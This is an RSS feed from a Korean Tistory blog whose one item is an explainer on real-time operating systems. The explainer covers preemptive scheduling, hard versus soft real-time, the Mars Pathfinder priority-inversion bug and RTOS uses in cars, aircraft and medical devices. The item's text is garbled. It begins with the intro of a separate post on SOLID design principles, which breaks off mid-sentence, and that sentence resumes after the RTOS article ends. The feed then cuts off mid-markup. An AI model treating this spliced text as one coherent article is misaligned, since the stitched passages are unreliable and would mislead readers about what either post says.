<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Memo</title>
    <link>https://softwin.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 26 Oct 2026 14:00:30 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>arthurdaddy</managingEditor>
    <image>
      <title>Memo</title>
      <url>https://tistory1.daumcdn.net/tistory/7050362/attach/0346dcc6ca3641b2b8e190b54a8a0592</url>
      <link>https://softwin.tistory.com</link>
    </image>
    <item>
      <title>RTOS(실시간 운영체제)란 무엇인가? - 1밀리초도 늦으면 안 되는 자동차&amp;middot;드론 제어의 핵심</title>
      <link>https://softwin.tistory.com/94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;객체지향&amp;nbsp;5대&amp;nbsp;설계&amp;nbsp;원칙&amp;nbsp;SOLID&amp;nbsp;-&amp;nbsp;유지보수하기&amp;nbsp;쉬운&amp;nbsp;명품&amp;nbsp;소프트웨어의&amp;nbsp;비밀 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;처음엔&amp;nbsp;완벽했는데,&amp;nbsp;왜&amp;nbsp;6개월&amp;nbsp;뒤엔&amp;nbsp;'누더기&amp;nbsp;코드'가&amp;nbsp;될까? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;천재&amp;nbsp;개발자들의&amp;nbsp;실전&amp;nbsp;문제&amp;nbsp;해결&amp;nbsp;비법인&amp;nbsp;**GoF&amp;nbsp;디자인&amp;nbsp;패턴(Design&amp;nbsp;Patterns)**의&amp;nbsp;탄생&amp;nbsp;배경과&amp;nbsp;분류를&amp;nbsp;살펴보았습니다.&amp;nbsp;디자인&amp;nbsp;패턴이&amp;nbsp;특정한&amp;nbsp;상황에&amp;nbsp;꺼내&amp;nbsp;쓰는&amp;nbsp;'도구&amp;nbsp;세트'라면,&amp;nbsp;그&amp;nbsp;모든&amp;nbsp;패턴의&amp;nbsp;근간을&amp;nbsp;지탱하는&amp;nbsp;**객체지향&amp;nbsp;설계의&amp;nbsp;영원한&amp;nbsp;헌법(Fundamental&amp;nbsp;Constitution)**이&amp;nbsp;존재합니다. &lt;br /&gt;&lt;br /&gt;어떤&amp;nbsp;프로젝트든&amp;nbsp;처음에는&amp;nbsp;개발자가&amp;nbsp;신나서&amp;nbsp;코드를&amp;nbsp;짭니다.&amp;nbsp;구조도&amp;nbsp;깔끔하고&amp;nbsp;모든&amp;nbsp;것이&amp;nbsp;완벽해&amp;nbsp;보입니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;몇&amp;nbsp;달이&amp;nbsp;지나&amp;nbsp;기획자가&amp;nbsp;찾아와&amp;nbsp;&quot;기존&amp;nbsp;기능&amp;nbsp;살짝&amp;nbsp;바꾸고&amp;nbsp;신규&amp;nbsp;결제&amp;nbsp;수단&amp;nbsp;하나만&amp;nbsp;추가해&amp;nbsp;주세요&quot;라고&amp;nbsp;요청하는&amp;nbsp;순간,&amp;nbsp;비극이&amp;nbsp;시작됩니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;결제&amp;nbsp;버튼&amp;nbsp;하나&amp;nbsp;추가했을&amp;nbsp;뿐인데,&amp;nbsp;로그인&amp;nbsp;로직이&amp;nbsp;깨지고&amp;nbsp;상품 #&amp;nbsp;RTOS(실시간&amp;nbsp;운영체제)란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;1밀리초도&amp;nbsp;늦으면&amp;nbsp;안&amp;nbsp;되는&amp;nbsp;자동차&amp;middot;드론&amp;nbsp;제어의&amp;nbsp;핵심 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;브레이크&amp;nbsp;페달을&amp;nbsp;밟았는데&amp;nbsp;&quot;잠시만&amp;nbsp;기다려주세요...&quot;? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;센서와&amp;nbsp;초소형&amp;nbsp;마이크로컨트롤러(MCU)들이&amp;nbsp;초경량으로&amp;nbsp;데이터를&amp;nbsp;주고받는&amp;nbsp;**사물인터넷(IoT)과&amp;nbsp;MQTT&amp;nbsp;프로토콜의&amp;nbsp;통신&amp;nbsp;원리**를&amp;nbsp;살펴보았습니다. &lt;br /&gt;&lt;br /&gt;우리가&amp;nbsp;매일&amp;nbsp;사용하는&amp;nbsp;윈도우(Windows),&amp;nbsp;맥OS(macOS),&amp;nbsp;안드로이드,&amp;nbsp;리눅스는&amp;nbsp;정말&amp;nbsp;훌륭한&amp;nbsp;운영체제입니다.&amp;nbsp;화려한&amp;nbsp;그래픽을&amp;nbsp;보여주고,&amp;nbsp;게임을&amp;nbsp;하면서&amp;nbsp;음악을&amp;nbsp;듣고&amp;nbsp;유튜브&amp;nbsp;영상을&amp;nbsp;보는&amp;nbsp;등&amp;nbsp;수많은&amp;nbsp;작업을&amp;nbsp;매끄럽게&amp;nbsp;처리합니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;가끔&amp;nbsp;스마트폰이나&amp;nbsp;컴퓨터를&amp;nbsp;쓰다&amp;nbsp;보면,&amp;nbsp;마우스&amp;nbsp;커서가&amp;nbsp;1~2초간&amp;nbsp;모래시계로&amp;nbsp;돌면서&amp;nbsp;멈칫거리거나(렉/버벅임),&amp;nbsp;앱이&amp;nbsp;잠깐&amp;nbsp;응답&amp;nbsp;없음&amp;nbsp;상태가&amp;nbsp;되는&amp;nbsp;것을&amp;nbsp;누구나&amp;nbsp;경험해&amp;nbsp;보았을&amp;nbsp;것입니다.&amp;nbsp;일반적인&amp;nbsp;컴퓨터에서는&amp;nbsp;&quot;잠깐&amp;nbsp;버벅거렸네&quot;&amp;nbsp;하고&amp;nbsp;넘어가면&amp;nbsp;그만입니다. &lt;br /&gt;&lt;br /&gt;그런데&amp;nbsp;상상해&amp;nbsp;보십시오. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;시속&amp;nbsp;100km로&amp;nbsp;달리는&amp;nbsp;자동차에서&amp;nbsp;운전자가&amp;nbsp;급브레이크를&amp;nbsp;밟았거나&amp;nbsp;에어백&amp;nbsp;센서가&amp;nbsp;충돌을&amp;nbsp;감지했습니다.&amp;nbsp;그런데&amp;nbsp;자동차&amp;nbsp;속&amp;nbsp;컴퓨터가&amp;nbsp;'백그라운드&amp;nbsp;업데이트&amp;nbsp;중이니&amp;nbsp;0.5초&amp;nbsp;뒤에&amp;nbsp;브레이크를&amp;nbsp;작동시키겠습니다'라며&amp;nbsp;멈칫거린다면&amp;nbsp;어떻게&amp;nbsp;될까요?&quot;** &lt;br /&gt;&lt;br /&gt;그&amp;nbsp;0.5초의&amp;nbsp;지연은&amp;nbsp;곧&amp;nbsp;탑승자의&amp;nbsp;생명과&amp;nbsp;직결되는&amp;nbsp;끔찍한&amp;nbsp;대참사를&amp;nbsp;부릅니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;이처럼&amp;nbsp;**&quot;단&amp;nbsp;1밀리초(0.001초)의&amp;nbsp;오차도&amp;nbsp;없이,&amp;nbsp;정해진&amp;nbsp;시간(데드라인)&amp;nbsp;안에&amp;nbsp;반드시&amp;nbsp;결과를&amp;nbsp;내놓아야&amp;nbsp;하는&amp;nbsp;극한의&amp;nbsp;제어&amp;nbsp;시스템&quot;**을&amp;nbsp;위해&amp;nbsp;만들어진&amp;nbsp;특수&amp;nbsp;운영체제,&amp;nbsp;바로&amp;nbsp;**RTOS(Real-Time&amp;nbsp;Operating&amp;nbsp;System,&amp;nbsp;실시간&amp;nbsp;운영체제)**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⏱️&amp;nbsp;1.&amp;nbsp;일반&amp;nbsp;OS&amp;nbsp;vs&amp;nbsp;RTOS의&amp;nbsp;결정적&amp;nbsp;차이:&amp;nbsp;'빠른&amp;nbsp;것'과&amp;nbsp;'정확한&amp;nbsp;것' &lt;br /&gt;&lt;br /&gt;많은&amp;nbsp;사람들이&amp;nbsp;RTOS를&amp;nbsp;&quot;일반&amp;nbsp;윈도우나&amp;nbsp;리눅스보다&amp;nbsp;속도가&amp;nbsp;엄청나게&amp;nbsp;빠른&amp;nbsp;초고속&amp;nbsp;OS&quot;라고&amp;nbsp;오해합니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;RTOS의&amp;nbsp;핵심은&amp;nbsp;단순한&amp;nbsp;'속도(Speed)'가&amp;nbsp;아니라&amp;nbsp;**'결정론적&amp;nbsp;정확성(Determinism&amp;nbsp;/&amp;nbsp;예측&amp;nbsp;가능성)'**입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;일반&amp;nbsp;범용&amp;nbsp;OS&amp;nbsp;(Windows,&amp;nbsp;Android,&amp;nbsp;Linux):&amp;nbsp;'처리량(Throughput)'&amp;nbsp;중심&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;목표:&amp;nbsp;&quot;모든&amp;nbsp;앱에게&amp;nbsp;공평하게&amp;nbsp;CPU를&amp;nbsp;나눠주고,&amp;nbsp;평균적으로&amp;nbsp;최대한&amp;nbsp;많은&amp;nbsp;일을&amp;nbsp;처리하자!&quot; &lt;br /&gt;-&amp;nbsp;특징:&amp;nbsp;평균&amp;nbsp;속도는&amp;nbsp;매우&amp;nbsp;빠르지만,&amp;nbsp;가끔&amp;nbsp;무거운&amp;nbsp;작업이&amp;nbsp;끼어들면&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.1초~1초간&amp;nbsp;지연(Latency)이&amp;nbsp;발생할&amp;nbsp;수&amp;nbsp;있음&amp;nbsp;(시간을&amp;nbsp;장담&amp;nbsp;못&amp;nbsp;함) &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;실시간&amp;nbsp;운영체제&amp;nbsp;RTOS&amp;nbsp;(FreeRTOS,&amp;nbsp;VxWorks,&amp;nbsp;QNX):&amp;nbsp;'마감&amp;nbsp;시간(Deadline)'&amp;nbsp;중심&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;목표:&amp;nbsp;&quot;평균&amp;nbsp;속도가&amp;nbsp;중요한&amp;nbsp;게&amp;nbsp;아니다.&amp;nbsp;긴급한&amp;nbsp;작업은&amp;nbsp;무슨&amp;nbsp;일이&amp;nbsp;있어도&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;정확히&amp;nbsp;0.001초(1ms)&amp;nbsp;안에&amp;nbsp;끝내야&amp;nbsp;한다!&quot; &lt;br /&gt;-&amp;nbsp;특징:&amp;nbsp;지각은&amp;nbsp;곧&amp;nbsp;시스템의&amp;nbsp;사망(Failure)!&amp;nbsp;오차&amp;nbsp;없는&amp;nbsp;칼&amp;nbsp;같은&amp;nbsp;마감&amp;nbsp;준수&amp;nbsp;보장 &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**소프트&amp;nbsp;실시간&amp;nbsp;(Soft&amp;nbsp;Real-Time)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;유튜브&amp;nbsp;영상&amp;nbsp;스트리밍,&amp;nbsp;온라인&amp;nbsp;게임.&amp;nbsp;마감&amp;nbsp;시간을&amp;nbsp;살짝&amp;nbsp;넘겨&amp;nbsp;프레임이&amp;nbsp;튀거나&amp;nbsp;버퍼링이&amp;nbsp;생겨도&amp;nbsp;기분이&amp;nbsp;나쁠&amp;nbsp;뿐&amp;nbsp;사람이&amp;nbsp;죽거나&amp;nbsp;기계가&amp;nbsp;부서지지는&amp;nbsp;않습니다. &lt;br /&gt;*&amp;nbsp;**하드&amp;nbsp;실시간&amp;nbsp;(Hard&amp;nbsp;Real-Time)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;자동차&amp;nbsp;에어백/ABS&amp;nbsp;브레이크,&amp;nbsp;비행기&amp;nbsp;자동항법,&amp;nbsp;인공위성&amp;nbsp;자세&amp;nbsp;제어,&amp;nbsp;인공호흡기&amp;nbsp;의료기기,&amp;nbsp;원자력&amp;nbsp;발전소&amp;nbsp;제어.&amp;nbsp;마감&amp;nbsp;시간을&amp;nbsp;단&amp;nbsp;0.001초라도&amp;nbsp;어기면&amp;nbsp;치명적인&amp;nbsp;재앙이&amp;nbsp;발생합니다.&amp;nbsp;RTOS는&amp;nbsp;바로&amp;nbsp;이&amp;nbsp;**하드&amp;nbsp;실시간**을&amp;nbsp;위해&amp;nbsp;존재합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;2.&amp;nbsp;RTOS는&amp;nbsp;어떻게&amp;nbsp;칼&amp;nbsp;같은&amp;nbsp;시간을&amp;nbsp;지킬까? &lt;br /&gt;&lt;br /&gt;RTOS가&amp;nbsp;시간을&amp;nbsp;완벽하게&amp;nbsp;통제할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;비결은&amp;nbsp;무엇일까요? &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;선점형&amp;nbsp;우선순위&amp;nbsp;스케줄러&amp;nbsp;(Preemptive&amp;nbsp;Priority&amp;nbsp;Scheduling)&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;낮은&amp;nbsp;우선순위&amp;nbsp;작업&amp;nbsp;(에어컨&amp;nbsp;온도&amp;nbsp;조절)&amp;nbsp;실행&amp;nbsp;중... &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│ &lt;br /&gt;&amp;nbsp;&amp;nbsp;[&amp;nbsp; &amp;nbsp;긴급&amp;nbsp;인터럽트&amp;nbsp;발생:&amp;nbsp;앞&amp;nbsp;범퍼&amp;nbsp;충돌&amp;nbsp;감지!&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;RTOS:&amp;nbsp;&quot;에어컨&amp;nbsp;조절이고&amp;nbsp;뭐고&amp;nbsp;당장&amp;nbsp;멈춰!&quot;&amp;nbsp;(즉각&amp;nbsp;선점) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;최고&amp;nbsp;우선순위&amp;nbsp;작업&amp;nbsp;[&amp;nbsp;에어백&amp;nbsp;전개&amp;nbsp;태스크&amp;nbsp;]&amp;nbsp;에게&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;마이크로초(&amp;micro;s)&amp;nbsp;단위로&amp;nbsp;CPU를&amp;nbsp;강제&amp;nbsp;할당! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;1)&amp;nbsp;엄격한&amp;nbsp;선점형&amp;nbsp;우선순위&amp;nbsp;스케줄링&amp;nbsp;(Preemptive&amp;nbsp;Scheduling) &lt;br /&gt;일반&amp;nbsp;OS는&amp;nbsp;여러&amp;nbsp;프로세스가&amp;nbsp;CPU를&amp;nbsp;사이좋게&amp;nbsp;나눠&amp;nbsp;쓰도록&amp;nbsp;타임&amp;nbsp;슬라이스를&amp;nbsp;분배합니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;RTOS는&amp;nbsp;**철저한&amp;nbsp;계급제(우선순위)**입니다.&amp;nbsp;우선순위가&amp;nbsp;높은&amp;nbsp;태스크가&amp;nbsp;발생하면,&amp;nbsp;현재&amp;nbsp;돌고&amp;nbsp;있던&amp;nbsp;하위&amp;nbsp;작업이&amp;nbsp;무엇이든&amp;nbsp;즉시&amp;nbsp;모가지를&amp;nbsp;꺾고&amp;nbsp;멈춰&amp;nbsp;세운&amp;nbsp;뒤,&amp;nbsp;긴급&amp;nbsp;태스크에&amp;nbsp;CPU를&amp;nbsp;즉각&amp;nbsp;넘겨줍니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;2)&amp;nbsp;극도로&amp;nbsp;가벼운&amp;nbsp;초경량&amp;nbsp;구조&amp;nbsp;(수&amp;nbsp;킬로바이트) &lt;br /&gt;윈도우나&amp;nbsp;안드로이드는&amp;nbsp;수&amp;nbsp;기가바이트의&amp;nbsp;거대한&amp;nbsp;덩치와&amp;nbsp;복잡한&amp;nbsp;드라이버들을&amp;nbsp;품고&amp;nbsp;있어&amp;nbsp;언제&amp;nbsp;어디서&amp;nbsp;병목이&amp;nbsp;튈지&amp;nbsp;모릅니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;반면&amp;nbsp;대표적인&amp;nbsp;오픈소스&amp;nbsp;RTOS인&amp;nbsp;**FreeRTOS**의&amp;nbsp;커널&amp;nbsp;핵심&amp;nbsp;코드는&amp;nbsp;단&amp;nbsp;몇&amp;nbsp;개의&amp;nbsp;C&amp;nbsp;언어&amp;nbsp;파일로&amp;nbsp;이루어져&amp;nbsp;있으며,&amp;nbsp;메모리(RAM)를&amp;nbsp;고작&amp;nbsp;**수&amp;nbsp;킬로바이트(KB)**밖에&amp;nbsp;쓰지&amp;nbsp;않습니다.&amp;nbsp;찌꺼기가&amp;nbsp;전혀&amp;nbsp;없기&amp;nbsp;때문에&amp;nbsp;반응&amp;nbsp;속도를&amp;nbsp;수학적으로&amp;nbsp;완벽히&amp;nbsp;예측할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚠️&amp;nbsp;3.&amp;nbsp;RTOS&amp;nbsp;개발자들을&amp;nbsp;공포에&amp;nbsp;떨게&amp;nbsp;만든&amp;nbsp;'우선순위&amp;nbsp;역전'과&amp;nbsp;화성&amp;nbsp;탐사선 &lt;br /&gt;&lt;br /&gt;실시간&amp;nbsp;시스템의&amp;nbsp;역사에서&amp;nbsp;가장&amp;nbsp;유명한&amp;nbsp;일화는&amp;nbsp;1997년&amp;nbsp;미국의&amp;nbsp;**화성&amp;nbsp;패스파인더(Pathfinder)&amp;nbsp;탐사선&amp;nbsp;사건**입니다. &lt;br /&gt;&lt;br /&gt;화성에&amp;nbsp;무사히&amp;nbsp;착륙한&amp;nbsp;탐사선이&amp;nbsp;알&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;이유로&amp;nbsp;컴퓨터가&amp;nbsp;계속해서&amp;nbsp;강제&amp;nbsp;리부팅을&amp;nbsp;반복하며&amp;nbsp;탐사가&amp;nbsp;전면&amp;nbsp;중단될&amp;nbsp;위기에&amp;nbsp;처했습니다.&amp;nbsp;원인은&amp;nbsp;바로&amp;nbsp;**'우선순위&amp;nbsp;역전(Priority&amp;nbsp;Inversion)'**&amp;nbsp;버그였습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;우선순위&amp;nbsp;역전의&amp;nbsp;비극&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;상급자&amp;nbsp;A&amp;nbsp;(고우선순위&amp;nbsp;정보&amp;nbsp;수집) &lt;br /&gt;-&amp;nbsp;중급자&amp;nbsp;B&amp;nbsp;(중우선순위&amp;nbsp;통신) &lt;br /&gt;-&amp;nbsp;하급자&amp;nbsp;C&amp;nbsp;(저우선순위&amp;nbsp;기상&amp;nbsp;관측) &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;하급자&amp;nbsp;C가&amp;nbsp;공유&amp;nbsp;자원(데이터&amp;nbsp;버스)에&amp;nbsp;자물쇠(Mutex)를&amp;nbsp;걸고&amp;nbsp;작업&amp;nbsp;중... &lt;br /&gt;2.&amp;nbsp;상급자&amp;nbsp;A가&amp;nbsp;와서&amp;nbsp;자원을&amp;nbsp;쓰려는데,&amp;nbsp;C가&amp;nbsp;락을&amp;nbsp;쥐고&amp;nbsp;있어&amp;nbsp;대기함. &lt;br /&gt;3.&amp;nbsp;이때&amp;nbsp;아무&amp;nbsp;락도&amp;nbsp;필요&amp;nbsp;없는&amp;nbsp;중급자&amp;nbsp;B가&amp;nbsp;나타나서&amp;nbsp;만만해&amp;nbsp;보이는&amp;nbsp;C의&amp;nbsp;CPU를&amp;nbsp;가로챔! &lt;br /&gt;4.&amp;nbsp;결과:&amp;nbsp;중급자&amp;nbsp;B&amp;nbsp;때문에&amp;nbsp;하급자&amp;nbsp;C가&amp;nbsp;일을&amp;nbsp;못&amp;nbsp;끝내고,&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;결국&amp;nbsp;최상급자&amp;nbsp;A가&amp;nbsp;끝없이&amp;nbsp;기다리다&amp;nbsp;마감&amp;nbsp;시간을&amp;nbsp;넘겨&amp;nbsp;리부팅되어&amp;nbsp;버림! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;NASA&amp;nbsp;엔지니어들은&amp;nbsp;지구에서&amp;nbsp;1억&amp;nbsp;km&amp;nbsp;떨어진&amp;nbsp;화성&amp;nbsp;탐사선의&amp;nbsp;소프트웨어를&amp;nbsp;무선&amp;nbsp;패치하여,&amp;nbsp;하급자&amp;nbsp;C에게&amp;nbsp;상급자의&amp;nbsp;권력을&amp;nbsp;일시적으로&amp;nbsp;빌려주는&amp;nbsp;**'우선순위&amp;nbsp;상속(Priority&amp;nbsp;Inheritance)'**&amp;nbsp;기술을&amp;nbsp;적용함으로써&amp;nbsp;기적적으로&amp;nbsp;탐사선을&amp;nbsp;살려냈습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;RTOS는&amp;nbsp;어디에&amp;nbsp;쓰이고&amp;nbsp;있을까? &lt;br /&gt;&lt;br /&gt;RTOS는&amp;nbsp;보이지&amp;nbsp;않는&amp;nbsp;곳에서&amp;nbsp;인류의&amp;nbsp;문명을&amp;nbsp;지탱하고&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**자동차&amp;nbsp;(AUTOSAR&amp;nbsp;/&amp;nbsp;QNX)**:&amp;nbsp;엔진&amp;nbsp;ECU&amp;nbsp;제어,&amp;nbsp;ADAS&amp;nbsp;자율주행&amp;nbsp;센서&amp;nbsp;융합,&amp;nbsp;에어백,&amp;nbsp;브레이크 &lt;br /&gt;*&amp;nbsp;**항공우주&amp;nbsp;&amp;amp;&amp;nbsp;방위&amp;nbsp;(VxWorks)**:&amp;nbsp;보잉/에어버스&amp;nbsp;여객기&amp;nbsp;조종석,&amp;nbsp;F-35&amp;nbsp;전투기,&amp;nbsp;NASA&amp;nbsp;화성&amp;nbsp;탐사&amp;nbsp;로버 &lt;br /&gt;*&amp;nbsp;**로봇&amp;nbsp;&amp;amp;&amp;nbsp;드론**:&amp;nbsp;1초에&amp;nbsp;수천&amp;nbsp;번&amp;nbsp;자세를&amp;nbsp;보정하며&amp;nbsp;균형을&amp;nbsp;잡는&amp;nbsp;드론&amp;nbsp;비행&amp;nbsp;제어기(FC) &lt;br /&gt;*&amp;nbsp;**스마트&amp;nbsp;가전&amp;nbsp;&amp;amp;&amp;nbsp;헬스케어**:&amp;nbsp;스마트워치(FreeRTOS/Zephyr),&amp;nbsp;심장&amp;nbsp;제세동기,&amp;nbsp;인슐린&amp;nbsp;펌프 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**RTOS(실시간&amp;nbsp;운영체제)**는&amp;nbsp;단순히&amp;nbsp;빠른&amp;nbsp;OS가&amp;nbsp;아니라,&amp;nbsp;마감&amp;nbsp;시간(Deadline)&amp;nbsp;안에&amp;nbsp;반드시&amp;nbsp;작업을&amp;nbsp;마치는&amp;nbsp;'결정론적&amp;nbsp;정확성'을&amp;nbsp;보장하는&amp;nbsp;특수&amp;nbsp;OS다. &lt;br /&gt;2.&amp;nbsp;엄격한&amp;nbsp;**선점형&amp;nbsp;우선순위&amp;nbsp;스케줄러**와&amp;nbsp;수&amp;nbsp;KB&amp;nbsp;단위의&amp;nbsp;초경량&amp;nbsp;구조를&amp;nbsp;통해&amp;nbsp;긴급한&amp;nbsp;작업에&amp;nbsp;즉각적으로&amp;nbsp;CPU를&amp;nbsp;배정한다. &lt;br /&gt;3.&amp;nbsp;자동차&amp;nbsp;자율주행,&amp;nbsp;항공기,&amp;nbsp;의료기기,&amp;nbsp;드론&amp;nbsp;등&amp;nbsp;1밀리초의&amp;nbsp;지연도&amp;nbsp;용납되지&amp;nbsp;않는&amp;nbsp;생명&amp;nbsp;안전(Safety-Critical)&amp;nbsp;분야의&amp;nbsp;핵심&amp;nbsp;두뇌다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;대단원의&amp;nbsp;마무리&amp;nbsp;-&amp;nbsp;11대&amp;nbsp;SW&amp;nbsp;기술&amp;nbsp;대백과를&amp;nbsp;마치며 &lt;br /&gt;&lt;br /&gt;우리는&amp;nbsp;지금까지&amp;nbsp;프로그래밍&amp;nbsp;언어의&amp;nbsp;기원부터&amp;nbsp;운영체제,&amp;nbsp;가상&amp;nbsp;메모리,&amp;nbsp;네트워크&amp;nbsp;통신,&amp;nbsp;백엔드&amp;nbsp;MSA,&amp;nbsp;프론트엔드&amp;nbsp;React/Next.js,&amp;nbsp;데이터베이스&amp;nbsp;B-Tree,&amp;nbsp;도커와&amp;nbsp;쿠버네티스,&amp;nbsp;웹&amp;nbsp;보안&amp;nbsp;3대&amp;nbsp;취약점,&amp;nbsp;최신&amp;nbsp;트랜스포머&amp;nbsp;AI,&amp;nbsp;그리고&amp;nbsp;하드웨어를&amp;nbsp;지배하는&amp;nbsp;RTOS까지&amp;nbsp;**현대&amp;nbsp;소프트웨어&amp;nbsp;공학의&amp;nbsp;11대&amp;nbsp;핵심&amp;nbsp;기둥**을&amp;nbsp;모두&amp;nbsp;함께&amp;nbsp;완주했습니다! &lt;br /&gt;&lt;br /&gt;복잡하고&amp;nbsp;어려워&amp;nbsp;보이던&amp;nbsp;거대한&amp;nbsp;컴퓨터의&amp;nbsp;세계도,&amp;nbsp;결국&amp;nbsp;&quot;인간의&amp;nbsp;불편함을&amp;nbsp;해결하고&amp;nbsp;더&amp;nbsp;빠르고&amp;nbsp;안전한&amp;nbsp;세상을&amp;nbsp;만들기&amp;nbsp;위해&quot;&amp;nbsp;한&amp;nbsp;걸음씩&amp;nbsp;쌓아&amp;nbsp;올린&amp;nbsp;아름다운&amp;nbsp;인과관계의&amp;nbsp;건축물이었습니다. &lt;br /&gt;&lt;br /&gt;앞으로도&amp;nbsp;여러분의&amp;nbsp;실무와&amp;nbsp;개발&amp;nbsp;여정에&amp;nbsp;든든한&amp;nbsp;등대가&amp;nbsp;되어드릴&amp;nbsp;알차고&amp;nbsp;유익한&amp;nbsp;SW&amp;nbsp;기술&amp;nbsp;이야기로&amp;nbsp;계속&amp;nbsp;찾아뵙겠습니다.&amp;nbsp;함께해&amp;nbsp;주셔서&amp;nbsp;진심으로&amp;nbsp;감사드립니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면이&amp;nbsp;하얗게&amp;nbsp;날아갔습니다!&amp;nbsp;코드&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;고치려면&amp;nbsp;20개&amp;nbsp;파일의&amp;nbsp;수천&amp;nbsp;줄을&amp;nbsp;일일이&amp;nbsp;찾아서&amp;nbsp;뜯어고쳐야&amp;nbsp;합니다!&quot;** &lt;br /&gt;&lt;br 